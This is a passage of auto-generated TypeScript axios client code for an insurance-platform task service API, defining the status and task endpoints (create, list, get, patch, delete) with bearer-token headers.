| listStatuses: async (authorization?: string, filter?: string, filters?: string, search?: string, order?: string, expand?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => { | ||
| const localVarPath = `/taskservice/v1/statuses`; | ||
| // use dummy base URL string because the URL constructor only accepts absolute URLs. | ||
| const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL); | ||
| let baseOptions; | ||
| let baseAccessToken; | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| const localVarRequestOptions = { method: 'GET', ...baseOptions, ...options}; | ||
| const localVarHeaderParameter = {} as any; | ||
| const localVarQueryParameter = {} as any; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| await setBearerAuthToObject(localVarHeaderParameter, configuration) | ||
| if (filter !== undefined) { | ||
| localVarQueryParameter['filter'] = filter; | ||
| } | ||
| if (filters !== undefined) { | ||
| localVarQueryParameter['filters'] = filters; | ||
| } | ||
| if (search !== undefined) { | ||
| localVarQueryParameter['search'] = search; | ||
| } | ||
| if (order !== undefined) { | ||
| localVarQueryParameter['order'] = order; | ||
| } | ||
| if (expand !== undefined) { | ||
| localVarQueryParameter['expand'] = expand; | ||
| } | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| setSearchParams(localVarUrlObj, localVarQueryParameter); | ||
| let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers}; | ||
| return { | ||
| url: toPathString(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }; | ||
| }, | ||
| /** | ||
| * This will partially update a status by code with the provided fields. **Required Permissions** \"task-management.tasks.update\" | ||
| * @summary Update the status | ||
| * @param {string} code | ||
| * @param {PatchStatusRequestDto} patchStatusRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| patchStatus: async (code: string, patchStatusRequestDto: PatchStatusRequestDto, authorization?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => { | ||
| // verify required parameter 'code' is not null or undefined | ||
| assertParamExists('patchStatus', 'code', code) | ||
| // verify required parameter 'patchStatusRequestDto' is not null or undefined | ||
| assertParamExists('patchStatus', 'patchStatusRequestDto', patchStatusRequestDto) | ||
| const localVarPath = `/taskservice/v1/statuses/{code}` | ||
| .replace(`{${"code"}}`, encodeURIComponent(String(code))); | ||
| // use dummy base URL string because the URL constructor only accepts absolute URLs. | ||
| const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL); | ||
| let baseOptions; | ||
| let baseAccessToken; | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| const localVarRequestOptions = { method: 'PATCH', ...baseOptions, ...options}; | ||
| const localVarHeaderParameter = {} as any; | ||
| const localVarQueryParameter = {} as any; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| await setBearerAuthToObject(localVarHeaderParameter, configuration) | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| localVarHeaderParameter['Content-Type'] = 'application/json'; | ||
| setSearchParams(localVarUrlObj, localVarQueryParameter); | ||
| let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers}; | ||
| localVarRequestOptions.data = serializeDataIfNeeded(patchStatusRequestDto, localVarRequestOptions, configuration) | ||
| return { | ||
| url: toPathString(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }; | ||
| }, | ||
| } | ||
| }; | ||
| /** | ||
| * StatusesApi - functional programming interface | ||
| * @export | ||
| */ | ||
| export const StatusesApiFp = function(configuration?: Configuration) { | ||
| const localVarAxiosParamCreator = StatusesApiAxiosParamCreator(configuration) | ||
| return { | ||
| /** | ||
| * This will create a status. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the status | ||
| * @param {CreateStatusRequestDto} createStatusRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| async createStatus(createStatusRequestDto: CreateStatusRequestDto, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<CreateStatusResponseClass>> { | ||
| const localVarAxiosArgs = await localVarAxiosParamCreator.createStatus(createStatusRequestDto, authorization, options); | ||
| return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration); | ||
| }, | ||
| /** | ||
| * This will delete status. **Required Permissions** \"task-management.tasks.delete\" | ||
| * @summary Delete the status | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| async deleteStatus(code: string, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<void>> { | ||
| const localVarAxiosArgs = await localVarAxiosParamCreator.deleteStatus(code, authorization, options); | ||
| return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration); | ||
| }, | ||
| /** | ||
| * Get status by code. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary Retrieve the status | ||
| * @param {string} code | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [expand] Expand to fetch additional information about the status. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| async getStatus(code: string, authorization?: string, expand?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<GetStatusResponseClass>> { | ||
| const localVarAxiosArgs = await localVarAxiosParamCreator.getStatus(code, authorization, expand, options); | ||
| return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration); | ||
| }, | ||
| /** | ||
| * Retrieves a list of statuses. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List statuses | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @param {string} [search] Search the response for matches in any searchable field. Use filter instead where possible for improved performance.<br/> <br/> <i>Searchable fields: code, name, slug</i> | ||
| * @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.<br/> <br/> <i>Allowed values: id, createdAt, updatedAt, name, slug</i> | ||
| * @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| async listStatuses(authorization?: string, filter?: string, filters?: string, search?: string, order?: string, expand?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<ListStatusesResponseClass>> { | ||
| const localVarAxiosArgs = await localVarAxiosParamCreator.listStatuses(authorization, filter, filters, search, order, expand, options); | ||
| return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration); | ||
| }, | ||
| /** | ||
| * This will partially update a status by code with the provided fields. **Required Permissions** \"task-management.tasks.update\" | ||
| * @summary Update the status | ||
| * @param {string} code | ||
| * @param {PatchStatusRequestDto} patchStatusRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| async patchStatus(code: string, patchStatusRequestDto: PatchStatusRequestDto, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<PatchStatusResponseClass>> { | ||
| const localVarAxiosArgs = await localVarAxiosParamCreator.patchStatus(code, patchStatusRequestDto, authorization, options); | ||
| return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration); | ||
| }, | ||
| } | ||
| }; | ||
| /** | ||
| * StatusesApi - factory interface | ||
| * @export | ||
| */ | ||
| export const StatusesApiFactory = function (configuration?: Configuration, basePath?: string, axios?: AxiosInstance) { | ||
| const localVarFp = StatusesApiFp(configuration) | ||
| return { | ||
| /** | ||
| * This will create a status. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the status | ||
| * @param {CreateStatusRequestDto} createStatusRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createStatus(createStatusRequestDto: CreateStatusRequestDto, authorization?: string, options?: any): AxiosPromise<CreateStatusResponseClass> { | ||
| return localVarFp.createStatus(createStatusRequestDto, authorization, options).then((request) => request(axios, basePath)); | ||
| }, | ||
| /** | ||
| * This will delete status. **Required Permissions** \"task-management.tasks.delete\" | ||
| * @summary Delete the status | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| deleteStatus(code: string, authorization?: string, options?: any): AxiosPromise<void> { | ||
| return localVarFp.deleteStatus(code, authorization, options).then((request) => request(axios, basePath)); | ||
| }, | ||
| /** | ||
| * Get status by code. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary Retrieve the status | ||
| * @param {string} code | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [expand] Expand to fetch additional information about the status. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| getStatus(code: string, authorization?: string, expand?: string, options?: any): AxiosPromise<GetStatusResponseClass> { | ||
| return localVarFp.getStatus(code, authorization, expand, options).then((request) => request(axios, basePath)); | ||
| }, | ||
| /** | ||
| * Retrieves a list of statuses. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List statuses | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @param {string} [search] Search the response for matches in any searchable field. Use filter instead where possible for improved performance.<br/> <br/> <i>Searchable fields: code, name, slug</i> | ||
| * @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.<br/> <br/> <i>Allowed values: id, createdAt, updatedAt, name, slug</i> | ||
| * @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listStatuses(authorization?: string, filter?: string, filters?: string, search?: string, order?: string, expand?: string, options?: any): AxiosPromise<ListStatusesResponseClass> { | ||
| return localVarFp.listStatuses(authorization, filter, filters, search, order, expand, options).then((request) => request(axios, basePath)); | ||
| }, | ||
| /** | ||
| * This will partially update a status by code with the provided fields. **Required Permissions** \"task-management.tasks.update\" | ||
| * @summary Update the status | ||
| * @param {string} code | ||
| * @param {PatchStatusRequestDto} patchStatusRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| patchStatus(code: string, patchStatusRequestDto: PatchStatusRequestDto, authorization?: string, options?: any): AxiosPromise<PatchStatusResponseClass> { | ||
| return localVarFp.patchStatus(code, patchStatusRequestDto, authorization, options).then((request) => request(axios, basePath)); | ||
| }, | ||
| }; | ||
| }; | ||
| /** | ||
| * Request parameters for createStatus operation in StatusesApi. | ||
| * @export | ||
| * @interface StatusesApiCreateStatusRequest | ||
| */ | ||
| export interface StatusesApiCreateStatusRequest { | ||
| /** | ||
| * | ||
| * @type {CreateStatusRequestDto} | ||
| * @memberof StatusesApiCreateStatus | ||
| */ | ||
| readonly createStatusRequestDto: CreateStatusRequestDto | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof StatusesApiCreateStatus | ||
| */ | ||
| readonly authorization?: string | ||
| } | ||
| /** | ||
| * Request parameters for deleteStatus operation in StatusesApi. | ||
| * @export | ||
| * @interface StatusesApiDeleteStatusRequest | ||
| */ | ||
| export interface StatusesApiDeleteStatusRequest { | ||
| /** | ||
| * Unique identifier for the object. | ||
| * @type {string} | ||
| * @memberof StatusesApiDeleteStatus | ||
| */ | ||
| readonly code: string | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof StatusesApiDeleteStatus | ||
| */ | ||
| readonly authorization?: string | ||
| } | ||
| /** | ||
| * Request parameters for getStatus operation in StatusesApi. | ||
| * @export | ||
| * @interface StatusesApiGetStatusRequest | ||
| */ | ||
| export interface StatusesApiGetStatusRequest { | ||
| /** | ||
| * | ||
| * @type {string} | ||
| * @memberof StatusesApiGetStatus | ||
| */ | ||
| readonly code: string | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof StatusesApiGetStatus | ||
| */ | ||
| readonly authorization?: string | ||
| /** | ||
| * Expand to fetch additional information about the status. | ||
| * @type {string} | ||
| * @memberof StatusesApiGetStatus | ||
| */ | ||
| readonly expand?: string | ||
| } | ||
| /** | ||
| * Request parameters for listStatuses operation in StatusesApi. | ||
| * @export | ||
| * @interface StatusesApiListStatusesRequest | ||
| */ | ||
| export interface StatusesApiListStatusesRequest { | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof StatusesApiListStatuses | ||
| */ | ||
| readonly authorization?: string | ||
| /** | ||
| * Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @type {string} | ||
| * @memberof StatusesApiListStatuses | ||
| */ | ||
| readonly filter?: string | ||
| /** | ||
| * Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @type {string} | ||
| * @memberof StatusesApiListStatuses | ||
| */ | ||
| readonly filters?: string | ||
| /** | ||
| * Search the response for matches in any searchable field. Use filter instead where possible for improved performance.<br/> <br/> <i>Searchable fields: code, name, slug</i> | ||
| * @type {string} | ||
| * @memberof StatusesApiListStatuses | ||
| */ | ||
| readonly search?: string | ||
| /** | ||
| * Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.<br/> <br/> <i>Allowed values: id, createdAt, updatedAt, name, slug</i> | ||
| * @type {string} | ||
| * @memberof StatusesApiListStatuses | ||
| */ | ||
| readonly order?: string | ||
| /** | ||
| * Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> | ||
| * @type {string} | ||
| * @memberof StatusesApiListStatuses | ||
| */ | ||
| readonly expand?: string | ||
| } | ||
| /** | ||
| * Request parameters for patchStatus operation in StatusesApi. | ||
| * @export | ||
| * @interface StatusesApiPatchStatusRequest | ||
| */ | ||
| export interface StatusesApiPatchStatusRequest { | ||
| /** | ||
| * | ||
| * @type {string} | ||
| * @memberof StatusesApiPatchStatus | ||
| */ | ||
| readonly code: string | ||
| /** | ||
| * | ||
| * @type {PatchStatusRequestDto} | ||
| * @memberof StatusesApiPatchStatus | ||
| */ | ||
| readonly patchStatusRequestDto: PatchStatusRequestDto | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof StatusesApiPatchStatus | ||
| */ | ||
| readonly authorization?: string | ||
| } | ||
| /** | ||
| * StatusesApi - object-oriented interface | ||
| * @export | ||
| * @class StatusesApi | ||
| * @extends {BaseAPI} | ||
| */ | ||
| export class StatusesApi extends BaseAPI { | ||
| /** | ||
| * This will create a status. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the status | ||
| * @param {StatusesApiCreateStatusRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof StatusesApi | ||
| */ | ||
| public createStatus(requestParameters: StatusesApiCreateStatusRequest, options?: AxiosRequestConfig) { | ||
| return StatusesApiFp(this.configuration).createStatus(requestParameters.createStatusRequestDto, requestParameters.authorization, options).then((request) => request(this.axios, this.basePath)); | ||
| } | ||
| /** | ||
| * This will delete status. **Required Permissions** \"task-management.tasks.delete\" | ||
| * @summary Delete the status | ||
| * @param {StatusesApiDeleteStatusRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof StatusesApi | ||
| */ | ||
| public deleteStatus(requestParameters: StatusesApiDeleteStatusRequest, options?: AxiosRequestConfig) { | ||
| return StatusesApiFp(this.configuration).deleteStatus(requestParameters.code, requestParameters.authorization, options).then((request) => request(this.axios, this.basePath)); | ||
| } | ||
| /** | ||
| * Get status by code. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary Retrieve the status | ||
| * @param {StatusesApiGetStatusRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof StatusesApi | ||
| */ | ||
| public getStatus(requestParameters: StatusesApiGetStatusRequest, options?: AxiosRequestConfig) { | ||
| return StatusesApiFp(this.configuration).getStatus(requestParameters.code, requestParameters.authorization, requestParameters.expand, options).then((request) => request(this.axios, this.basePath)); | ||
| } | ||
| /** | ||
| * Retrieves a list of statuses. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List statuses | ||
| * @param {StatusesApiListStatusesRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof StatusesApi | ||
| */ | ||
| public listStatuses(requestParameters: StatusesApiListStatusesRequest = {}, options?: AxiosRequestConfig) { | ||
| return StatusesApiFp(this.configuration).listStatuses(requestParameters.authorization, requestParameters.filter, requestParameters.filters, requestParameters.search, requestParameters.order, requestParameters.expand, options).then((request) => request(this.axios, this.basePath)); | ||
| } | ||
| /** | ||
| * This will partially update a status by code with the provided fields. **Required Permissions** \"task-management.tasks.update\" | ||
| * @summary Update the status | ||
| * @param {StatusesApiPatchStatusRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof StatusesApi | ||
| */ | ||
| public patchStatus(requestParameters: StatusesApiPatchStatusRequest, options?: AxiosRequestConfig) { | ||
| return StatusesApiFp(this.configuration).patchStatus(requestParameters.code, requestParameters.patchStatusRequestDto, requestParameters.authorization, options).then((request) => request(this.axios, this.basePath)); | ||
| } | ||
| } |
+695
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import globalAxios, { AxiosPromise, AxiosInstance, AxiosRequestConfig } from 'axios'; | ||
| import { Configuration } from '../configuration'; | ||
| // Some imports not used depending on template conditions | ||
| // @ts-ignore | ||
| import { DUMMY_BASE_URL, assertParamExists, setApiKeyToObject, setBasicAuthToObject, setBearerAuthToObject, setOAuthToObject, setSearchParams, serializeDataIfNeeded, toPathString, createRequestFunction } from '../common'; | ||
| // @ts-ignore | ||
| import { BASE_PATH, COLLECTION_FORMATS, RequestArgs, BaseAPI, RequiredError } from '../base'; | ||
| // @ts-ignore | ||
| import { CreateTaskRequestDto } from '../models'; | ||
| // @ts-ignore | ||
| import { CreateTaskResponseClass } from '../models'; | ||
| // @ts-ignore | ||
| import { GetTaskResponseClass } from '../models'; | ||
| // @ts-ignore | ||
| import { ListTasksResponseClass } from '../models'; | ||
| // @ts-ignore | ||
| import { PatchTaskRequestDto } from '../models'; | ||
| // @ts-ignore | ||
| import { PatchTaskResponseClass } from '../models'; | ||
| // URLSearchParams not necessarily used | ||
| // @ts-ignore | ||
| import { URL, URLSearchParams } from 'url'; | ||
| const FormData = require('form-data'); | ||
| /** | ||
| * TasksApi - axios parameter creator | ||
| * @export | ||
| */ | ||
| export const TasksApiAxiosParamCreator = function (configuration?: Configuration) { | ||
| return { | ||
| /** | ||
| * This will create a task. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the task | ||
| * @param {CreateTaskRequestDto} createTaskRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createTask: async (createTaskRequestDto: CreateTaskRequestDto, authorization?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => { | ||
| // verify required parameter 'createTaskRequestDto' is not null or undefined | ||
| assertParamExists('createTask', 'createTaskRequestDto', createTaskRequestDto) | ||
| const localVarPath = `/taskservice/v1/tasks`; | ||
| // use dummy base URL string because the URL constructor only accepts absolute URLs. | ||
| const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL); | ||
| let baseOptions; | ||
| let baseAccessToken; | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| const localVarRequestOptions = { method: 'POST', ...baseOptions, ...options}; | ||
| const localVarHeaderParameter = {} as any; | ||
| const localVarQueryParameter = {} as any; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| await setBearerAuthToObject(localVarHeaderParameter, configuration) | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| localVarHeaderParameter['Content-Type'] = 'application/json'; | ||
| setSearchParams(localVarUrlObj, localVarQueryParameter); | ||
| let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers}; | ||
| localVarRequestOptions.data = serializeDataIfNeeded(createTaskRequestDto, localVarRequestOptions, configuration) | ||
| return { | ||
| url: toPathString(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }; | ||
| }, | ||
| /** | ||
| * This will delete a task by code. **Required Permissions** \"task-management.tasks.delete\" | ||
| * @summary Delete the task | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| deleteTask: async (code: string, authorization?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => { | ||
| // verify required parameter 'code' is not null or undefined | ||
| assertParamExists('deleteTask', 'code', code) | ||
| const localVarPath = `/taskservice/v1/tasks/{code}` | ||
| .replace(`{${"code"}}`, encodeURIComponent(String(code))); | ||
| // use dummy base URL string because the URL constructor only accepts absolute URLs. | ||
| const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL); | ||
| let baseOptions; | ||
| let baseAccessToken; | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| const localVarRequestOptions = { method: 'DELETE', ...baseOptions, ...options}; | ||
| const localVarHeaderParameter = {} as any; | ||
| const localVarQueryParameter = {} as any; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| await setBearerAuthToObject(localVarHeaderParameter, configuration) | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| setSearchParams(localVarUrlObj, localVarQueryParameter); | ||
| let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers}; | ||
| return { | ||
| url: toPathString(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }; | ||
| }, | ||
| /** | ||
| * This will get a task by code. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary Retrieve the task | ||
| * @param {string} code | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [expand] Expand to fetch additional information about the task. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| getTask: async (code: string, authorization?: string, expand?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => { | ||
| // verify required parameter 'code' is not null or undefined | ||
| assertParamExists('getTask', 'code', code) | ||
| const localVarPath = `/taskservice/v1/tasks/{code}` | ||
| .replace(`{${"code"}}`, encodeURIComponent(String(code))); | ||
| // use dummy base URL string because the URL constructor only accepts absolute URLs. | ||
| const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL); | ||
| let baseOptions; | ||
| let baseAccessToken; | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| const localVarRequestOptions = { method: 'GET', ...baseOptions, ...options}; | ||
| const localVarHeaderParameter = {} as any; | ||
| const localVarQueryParameter = {} as any; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| await setBearerAuthToObject(localVarHeaderParameter, configuration) | ||
| if (expand !== undefined) { | ||
| localVarQueryParameter['expand'] = expand; | ||
| } | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| setSearchParams(localVarUrlObj, localVarQueryParameter); | ||
| let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers}; | ||
| return { | ||
| url: toPathString(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }; | ||
| }, | ||
| /** | ||
| * Retrieves a list of tasks. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List tasks | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10. | ||
| * @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken=1, your subsequent call can include pageToken=2 in order to fetch the next page of the list. | ||
| * @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.<br/> <br/> <i>Allowed values: id, code, statusId, priority, assignee, reporter, dueDate, createdAt, updatedAt, status.slug, categories.slug</i> | ||
| * @param {string} [search] Search the response for matches in any searchable field. Use filter instead where possible for improved performance.<br/> <br/> <i>Searchable fields: subject, description</i> | ||
| * @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.<br/> <br/> <i>Allowed values: id, createdAt, updatedAt, assignee, reporter, dueDate, status, priority</i> | ||
| * @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> <i>Allowed values: categories, status<i> | ||
| * @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.<br/> <br/> <i>Allowed values: id, code, statusId, priority, assignee, reporter, dueDate, createdAt, updatedAt, status.slug, categories.slug</i> | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listTasks: async (authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => { | ||
| const localVarPath = `/taskservice/v1/tasks`; | ||
| // use dummy base URL string because the URL constructor only accepts absolute URLs. | ||
| const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL); | ||
| let baseOptions; | ||
| let baseAccessToken; | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| const localVarRequestOptions = { method: 'GET', ...baseOptions, ...options}; | ||
| const localVarHeaderParameter = {} as any; | ||
| const localVarQueryParameter = {} as any; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| await setBearerAuthToObject(localVarHeaderParameter, configuration) | ||
